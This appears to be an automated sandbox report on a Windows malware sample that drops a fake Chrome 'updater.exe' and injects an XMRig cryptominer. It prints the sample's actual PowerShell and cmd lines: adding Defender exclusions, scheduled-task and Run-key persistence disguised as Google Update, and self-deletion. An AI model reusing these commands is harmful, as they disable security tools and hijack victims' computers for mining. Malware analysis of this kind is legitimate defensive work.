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Overview
overview
10Static
static
3grhsghsGHs...y8.exe
windows7-x64
10grhsghsGHs...SE.exe
windows7-x64
10grhsghsGHs...CD.exe
windows7-x64
10grhsghsGHs...Da.exe
windows7-x64
10grhsghsGHs...wq.exe
windows7-x64
10grhsghsGHs...r7.exe
windows7-x64
10grhsghsGHs...XJ.exe
windows7-x64
10grhsghsGHs...eg.exe
windows7-x64
10grhsghsGHs...5H.exe
windows7-x64
10grhsghsGHs...XN.exe
windows7-x64
10grhsghsGHs...T3.exe
windows7-x64
10grhsghsGHs...9r.exe
windows7-x64
10grhsghsGHs...GR.exe
windows7-x64
10grhsghsGHs...EX.exe
windows7-x64
10grhsghsGHs...EA.exe
windows7-x64
10grhsghsGHs...FB.exe
windows7-x64
10grhsghsGHs...Et.exe
windows7-x64
10grhsghsGHs...KX.exe
windows7-x64
10grhsghsGHs...Qp.exe
windows7-x64
10grhsghsGHs...ep.exe
windows7-x64
10grhsghsGHs...5e.exe
windows7-x64
10grhsghsGHs...EP.exe
windows7-x64
10grhsghsGHs...pS.exe
windows7-x64
10grhsghsGHs...HZ.exe
windows7-x64
10grhsghsGHs...Sj.exe
windows7-x64
10grhsghsGHs...Nq.exe
windows7-x64
10grhsghsGHs...Ey.exe
windows7-x64
10Resubmissions
25/01/2024, 16:55
240125-vfcyksbhgr 1024/01/2024, 17:15
240124-vstf4aecaj 1023/01/2024, 19:27
240123-x6cfvagbd9 1023/01/2024, 19:27
240123-x6bvbafgem 1023/01/2024, 19:27
240123-x6bjjsgbd8 1023/01/2024, 19:27
240123-x6ax1sfgek 1023/01/2024, 19:27
240123-x6abgsfgej 1023/01/2024, 19:27
240123-x591qagbd7 1023/01/2024, 19:27
240123-x59d7agbd6 1023/01/2024, 19:27
240123-x584esgbd5 10Analysis
-
max time kernel
362s -
max time network
1800s -
platform
windows7_x64 -
resource
win7-20231215-en -
resource tags
arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system -
submitted
25/01/2024, 16:55
Static task
static1
Behavioral task
behavioral1
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win7-20231215-en
Behavioral task
behavioral3
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win7-20231215-en
Behavioral task
behavioral4
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win7-20231129-en
Behavioral task
behavioral5
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win7-20231215-en
Behavioral task
behavioral6
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win7-20231215-en
Behavioral task
behavioral7
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win7-20231215-en
Behavioral task
behavioral8
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win7-20231215-en
Behavioral task
behavioral9
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win7-20231129-en
Behavioral task
behavioral11
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win7-20231129-en
Behavioral task
behavioral12
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win7-20231215-en
Behavioral task
behavioral13
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win7-20231215-en
Behavioral task
behavioral14
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win7-20231215-en
Behavioral task
behavioral15
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win7-20231129-en
Behavioral task
behavioral16
Sample
grhsghsGHswgh/Yvdp8t5knpQz7sFB.exe
Resource
win7-20231215-en
Behavioral task
behavioral17
Sample
grhsghsGHswgh/anDwkygzqtN6BKEt.exe
Resource
win7-20231129-en
Behavioral task
behavioral18
Sample
grhsghsGHswgh/bW3Td8vedKuGbSKX.exe
Resource
win7-20231215-en
Behavioral task
behavioral19
Sample
grhsghsGHswgh/cZ8JugqVuxAY52Qp.exe
Resource
win7-20231129-en
Behavioral task
behavioral20
Sample
grhsghsGHswgh/h5JMkDJvUkEMMWep.exe
Resource
win7-20231129-en
Behavioral task
behavioral21
Sample
grhsghsGHswgh/qM5GMXBk6hJE6Y5e.exe
Resource
win7-20231215-en
Behavioral task
behavioral22
Sample
grhsghsGHswgh/rUqNxUB6WWxdsfEP.exe
Resource
win7-20231215-en
Behavioral task
behavioral23
Sample
grhsghsGHswgh/rkUvkExvRhkxKUpS.exe
Resource
win7-20231129-en
Behavioral task
behavioral24
Sample
grhsghsGHswgh/u3GgbfA2e32fHMHZ.exe
Resource
win7-20231215-en
Behavioral task
behavioral25
Sample
grhsghsGHswgh/xQQTm7rAusnqpUSj.exe
Resource
win7-20231215-en
Behavioral task
behavioral26
Sample
grhsghsGHswgh/xxgg94VsN5GYyJNq.exe
Resource
win7-20231215-en
General
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Target
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
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Size
2.0MB
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MD5
a16a669a09bf158058b83e04e69fe38e
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SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
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SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
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SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
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SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
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Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
description pid Process procid_target PID 2068 created 1264 2068 Gu3PdXt79NF7EJXJ.exe 12 PID 2068 created 1264 2068 Gu3PdXt79NF7EJXJ.exe 12 PID 2068 created 1264 2068 Gu3PdXt79NF7EJXJ.exe 12 PID 2068 created 1264 2068 Gu3PdXt79NF7EJXJ.exe 12 PID 3028 created 1264 3028 updater.exe 12 PID 3028 created 1264 3028 updater.exe 12 PID 3028 created 1264 3028 updater.exe 12 PID 3028 created 1264 3028 updater.exe 12 PID 324 created 1264 324 conhost.exe 12 PID 3028 created 1264 3028 updater.exe 12 -
XMRig Miner payload 29 IoCs
resource yara_rule behavioral7/memory/1756-71-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral7/memory/1756-73-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral7/memory/1756-75-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral7/memory/1756-79-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral7/memory/1756-81-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral7/memory/1756-83-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral7/memory/1756-85-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral7/memory/1756-87-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral7/memory/1756-94-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral7/memory/1756-96-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral7/memory/1756-98-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral7/memory/1756-100-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral7/memory/1756-102-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral7/memory/1756-104-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral7/memory/1756-106-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral7/memory/1756-108-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral7/memory/1756-110-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral7/memory/1756-112-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral7/memory/1756-114-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral7/memory/1756-121-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral7/memory/1756-123-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral7/memory/1756-125-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral7/memory/1756-127-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral7/memory/1756-129-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral7/memory/1756-131-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral7/memory/1756-133-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral7/memory/1756-135-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral7/memory/1756-137-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral7/memory/1756-139-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig -
Deletes itself 1 IoCs
pid Process 2616 cmd.exe -
Executes dropped EXE 1 IoCs
pid Process 3028 updater.exe -
Loads dropped DLL 1 IoCs
pid Process 2972 taskeng.exe -
resource yara_rule behavioral7/memory/1756-66-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral7/memory/1756-71-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral7/memory/1756-73-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral7/memory/1756-75-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral7/memory/1756-79-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral7/memory/1756-81-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral7/memory/1756-83-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral7/memory/1756-85-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral7/memory/1756-87-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral7/memory/1756-94-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral7/memory/1756-96-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral7/memory/1756-98-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral7/memory/1756-100-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral7/memory/1756-102-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral7/memory/1756-104-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral7/memory/1756-106-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral7/memory/1756-108-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral7/memory/1756-110-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral7/memory/1756-112-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral7/memory/1756-114-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral7/memory/1756-121-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral7/memory/1756-123-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral7/memory/1756-125-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral7/memory/1756-127-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral7/memory/1756-129-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral7/memory/1756-131-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral7/memory/1756-133-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral7/memory/1756-135-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral7/memory/1756-137-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral7/memory/1756-139-0x0000000140000000-0x00000001407F4000-memory.dmp upx -
Drops file in System32 directory 5 IoCs
description ioc Process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 3028 set thread context of 324 3028 updater.exe 51 PID 3028 set thread context of 1756 3028 updater.exe 53 -
Drops file in Program Files directory 4 IoCs
description ioc Process File created C:\Program Files\Google\Chrome\updater.exe Gu3PdXt79NF7EJXJ.exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2644 schtasks.exe 336 schtasks.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 1688 WMIC.exe -
Modifies data under HKEY_USERS 3 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 1040a72fb24fda01 powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe -
Suspicious behavior: EnumeratesProcesses 25 IoCs
pid Process 2068 Gu3PdXt79NF7EJXJ.exe 2068 Gu3PdXt79NF7EJXJ.exe 2472 powershell.exe 2068 Gu3PdXt79NF7EJXJ.exe 2068 Gu3PdXt79NF7EJXJ.exe 2736 powershell.exe 2068 Gu3PdXt79NF7EJXJ.exe 2068 Gu3PdXt79NF7EJXJ.exe 2068 Gu3PdXt79NF7EJXJ.exe 2068 Gu3PdXt79NF7EJXJ.exe 2608 powershell.exe 3028 updater.exe 3028 updater.exe 856 powershell.exe 3028 updater.exe 3028 updater.exe 1876 powershell.exe 3028 updater.exe 3028 updater.exe 3028 updater.exe 3028 updater.exe 324 conhost.exe 324 conhost.exe 3028 updater.exe 3028 updater.exe -
Suspicious behavior: LoadsDriver 1 IoCs
pid Process 468 Process not Found -
Suspicious use of AdjustPrivilegeToken 31 IoCs
description pid Process Token: SeDebugPrivilege 2472 powershell.exe Token: SeDebugPrivilege 2736 powershell.exe Token: SeDebugPrivilege 2608 powershell.exe Token: SeDebugPrivilege 856 powershell.exe Token: SeDebugPrivilege 1876 powershell.exe Token: SeDebugPrivilege 3028 updater.exe Token: SeAssignPrimaryTokenPrivilege 1688 WMIC.exe Token: SeIncreaseQuotaPrivilege 1688 WMIC.exe Token: SeSecurityPrivilege 1688 WMIC.exe Token: SeTakeOwnershipPrivilege 1688 WMIC.exe Token: SeLoadDriverPrivilege 1688 WMIC.exe Token: SeSystemtimePrivilege 1688 WMIC.exe Token: SeBackupPrivilege 1688 WMIC.exe Token: SeRestorePrivilege 1688 WMIC.exe Token: SeShutdownPrivilege 1688 WMIC.exe Token: SeSystemEnvironmentPrivilege 1688 WMIC.exe Token: SeUndockPrivilege 1688 WMIC.exe Token: SeManageVolumePrivilege 1688 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1688 WMIC.exe Token: SeIncreaseQuotaPrivilege 1688 WMIC.exe Token: SeSecurityPrivilege 1688 WMIC.exe Token: SeTakeOwnershipPrivilege 1688 WMIC.exe Token: SeLoadDriverPrivilege 1688 WMIC.exe Token: SeSystemtimePrivilege 1688 WMIC.exe Token: SeBackupPrivilege 1688 WMIC.exe Token: SeRestorePrivilege 1688 WMIC.exe Token: SeShutdownPrivilege 1688 WMIC.exe Token: SeSystemEnvironmentPrivilege 1688 WMIC.exe Token: SeUndockPrivilege 1688 WMIC.exe Token: SeManageVolumePrivilege 1688 WMIC.exe Token: SeLockMemoryPrivilege 1756 conhost.exe -
Suspicious use of WriteProcessMemory 20 IoCs
description pid Process procid_target PID 2736 wrote to memory of 2644 2736 powershell.exe 32 PID 2736 wrote to memory of 2644 2736 powershell.exe 32 PID 2736 wrote to memory of 2644 2736 powershell.exe 32 PID 2616 wrote to memory of 2136 2616 cmd.exe 37 PID 2616 wrote to memory of 2136 2616 cmd.exe 37 PID 2616 wrote to memory of 2136 2616 cmd.exe 37 PID 2608 wrote to memory of 808 2608 powershell.exe 38 PID 2608 wrote to memory of 808 2608 powershell.exe 38 PID 2608 wrote to memory of 808 2608 powershell.exe 38 PID 2972 wrote to memory of 3028 2972 taskeng.exe 40 PID 2972 wrote to memory of 3028 2972 taskeng.exe 40 PID 2972 wrote to memory of 3028 2972 taskeng.exe 40 PID 1876 wrote to memory of 336 1876 powershell.exe 45 PID 1876 wrote to memory of 336 1876 powershell.exe 45 PID 1876 wrote to memory of 336 1876 powershell.exe 45 PID 3028 wrote to memory of 324 3028 updater.exe 51 PID 988 wrote to memory of 1688 988 cmd.exe 47 PID 988 wrote to memory of 1688 988 cmd.exe 47 PID 988 wrote to memory of 1688 988 cmd.exe 47 PID 3028 wrote to memory of 1756 3028 updater.exe 53 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:1264
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C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Gu3PdXt79NF7EJXJ.exe"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Gu3PdXt79NF7EJXJ.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:2068
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2472
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2736 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
PID:2644
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Gu3PdXt79NF7EJXJ.exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:2616 -
C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 33⤵PID:2136
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2608 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵PID:808
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:856
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1876 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
PID:336
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
PID:308
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:988
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:324
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵
- Suspicious use of AdjustPrivilegeToken
PID:1756
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C:\Windows\system32\taskeng.exetaskeng.exe {404F486D-BEB8-4775-9BE1-9C94F741D76A} S-1-5-18:NT AUTHORITY\System:Service:1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2972 -
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3028
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C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor1⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1688
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
884KB
MD5e8dab74f40af4fd18c190a0c0dd90396
SHA11b774527471ae89c1cff82e3903dd92bec54e996
SHA256c2d0ea09de498f05c61c7477eb6d4f0c959b74747a98f15f41ae442204ba5c8a
SHA512f164fb1c01a05db40a3c821f12135b3d4a016a620bc4040e4ddb6d6236bb10346312ce63f0bda98418788f83c3c9fc36564b9aed97b9df54d33a81f1ecd5f161
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Filesize
1.7MB
MD5a57c5752525fe763ce76bc528b216b68
SHA1afe91776b7b0a93b27e6578b62b195333e1d1e27
SHA2567381f8ca8ec481125316822d663a794c6f6bb61eb07079acb45ca0b6e62a7230
SHA512c586d096be3d2ba986fac05816bae0453146991f46561c3c49976ca1f719fa6e56e267d7eaa63ab7294d87a2b39d4e9c3ea922c2b1dfd569bb4be1ed6a71fe30
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Filesize
198B
MD537dd19b2be4fa7635ad6a2f3238c4af1
SHA1e5b2c034636b434faee84e82e3bce3a3d3561943
SHA2568066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
SHA51286e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\S03V7OQWTALPF53P6VZU.temp
Filesize7KB
MD56307de6e6dcb1a3230f8e53e556b9be7
SHA17ce2c3424a1758a2f2d299d2be30aa101ae10080
SHA2561b7ea4cd47bd6a275f1cdbd560b6dd6440ff3e611c5e18b7f036c55c3a564128
SHA512881a14babcfa2a8dc989322f2323332e41137b5869bee2924cad55e828328f5e9be481b72fbd05c24710a85ba5c4169adf6a3873fd9768f6f35804b06a4d10ae
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Filesize
1.3MB
MD521f138e1138850437fed3a0855cec7bb
SHA16615d4e21600a373f2b820c3a0d39226d894cecd
SHA256ab0fdf13b76f8ee77690a484cbfe6f3d313345550d16602bbdaad875055d30c5
SHA51220adb69fd6de1daeb64f16d8d0aa8e5f53fd3c90a2ed13dd47ea76957000e3742e682ff987cf45f99a310a69d7fbbbf5409e9a592a8b733a5fb6e2fd9fa83c2e